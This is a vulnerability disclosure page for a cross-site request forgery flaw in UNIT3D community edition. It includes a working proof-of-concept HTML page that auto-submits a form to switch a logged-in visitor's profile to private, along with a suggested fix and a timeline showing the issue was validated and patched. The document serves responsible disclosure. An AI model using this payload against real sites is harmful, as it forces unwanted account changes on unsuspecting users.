Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Aug 4th 2021


✍️ Description

Attacker is able to change a user profile state to private if a logged in user visits attacker website.

🕵️‍♂️ Proof of Concept

  1. when you logged in open this POC.html in a browser
  2. you can check your profile state changed form public to private
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://unit3d.site/users/UNIT3D/settings/private">
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>


💥 Impact

This vulnerability is capable of forging user to unintentional profile state change to private.

💥 Test

Tested on Edge, firefox, chrome and safari.

💥 Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.

Occurrences

We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back a year ago
HDVinnie validated this vulnerability a year ago
Musio has been awarded the disclosure bounty
The fix bounty is now up for grabs
HDVinnie marked this as fixed with commit e0c24c a year ago
HDVinnie has been awarded the fix bounty
This vulnerability will not receive a CVE
web.php#L346 has been validated
to join this conversation